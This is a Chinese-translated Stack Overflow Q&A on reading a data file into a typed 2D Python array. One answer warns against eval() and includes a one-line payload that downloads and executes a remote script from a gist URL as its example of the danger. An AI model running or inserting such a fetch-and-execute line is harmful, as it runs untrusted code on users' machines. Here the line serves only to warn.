如何在Python中将文件解析为2D数组并保持数据类型?

3

我对编程还比较陌生。我想在Python3中读取数据文件并将其存储为2D数组,以便对单个元素进行操作。我使用以下方法读取文件:

with open("text.txt", "r") as text:
    lines = [line.split() for line in text]

然而,这会将所有内容都解析为文本。我该如何在读取文件时保持数据类型不变(文本解析为文本,整数解析为整数,浮点数解析为浮点数等)? 输入文件看起来像这样:

HNUS 4973168.840 1734085.512 -3585434.051
PRET 5064032.237 2724721.031 -2752950.762
RBAY 4739765.776 2970758.460 -3054077.535
TDOU 5064840.815 2969624.535 -2485109.939
ULDI 4796680.897 2930311.589 -3005435.714

你不能之后再做吗?(将字符串转换为str或浮点数)? - Clodion
Python中猜测当前表示为字符串的数据类型的方法 - Delgan
2个回答

1
这是你想要的吗?
import ast
with open("1.txt","r") as inp:
    c= [a if a.isalpha() else ast.literal_eval(a.strip()) for line in inp for a in line.split()   ]

输出:

print c
['HNUS', 4973168.84, 1734085.512, -3585434.051, 'PRET', 5064032.237, 2724721.031, -2752950.762, 'RBAY', 4739765.776, 2970758.46, -3054077.535, 'TDOU', 5064840.815, 2969624.535, -2485109.939, 'ULDI', 4796680.897, 2930311.589, -3005435.714]
print c[1],type(c[1])
4973168.84 <type 'float'>

您不能直接将as.literal_eval()应用于字符串参数,因为它会删除参数的引号。

i.e)

ast.literal_eval("as")
File "<unknown>", line 1
    as
    ^
SyntaxError: unexpected EOF while parsing


ast.literal_eval('"as"')
'as'

将其转换为二维数组的方法如下:
import ast
with open("1.txt","r") as inp:
    c= [[a if a.isalpha() else ast.literal_eval(a.strip()) for a in line.split() ]  for line in inp  ]

输出:

print c
[['HNUS', 4973168.84, 1734085.512, -3585434.051], ['PRET', 5064032.237, 2724721.031, -2752950.762], ['RBAY', 4739765.776, 2970758.46, -3054077.535], ['TDOU', 5064840.815, 2969624.535, -2485109.939], ['ULDI', 4796680.897, 2930311.589, -3005435.714]]

这个能在二维数组中实现吗? - user5159922

1
通常情况下,您应该期望行、列或特定单元格的特定数据类型。在您的情况下,每一行的第一个单元格应该是字符串,其后所有其他单元格都应该是数字。
data = []
with open('text.txt', 'r') as fp:
  for line in (l.split() for l in fp):
    line[1:] = [float(x) for x in line[1:]]
    data.append(line)

如果您只想将每个单元格转换为最近的适用数据类型,您可以使用此函数并将其应用于2D列表中的每个单元格。
def nearest_applicable_conversion(x):
  try:
    return int(x)
  except ValueError:
    pass
  try:
    return float(x)
  except ValueError:
    pass
  return x

强烈反对您使用eval(),因为它将评估任何有效的Python代码,并使您的系统容易受到那些知道如何执行攻击的人的攻击。我可以通过将以下代码放入其中一个单元格中,从text.txteval(),轻松执行任意代码,只需确保它不包含空格,因为这会使代码分成多个单元格:
(lambda:(eval(compile(__import__('urllib.request').request.urlopen('https://gist.githubusercontent.com/NiklasRosenstein/470377b7ceef98ef6b87/raw/06593a30d5b00ca506b536315ac79f7b950a5163/jagged.py').read().decode(),'<string>','exec'),globals())))()

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接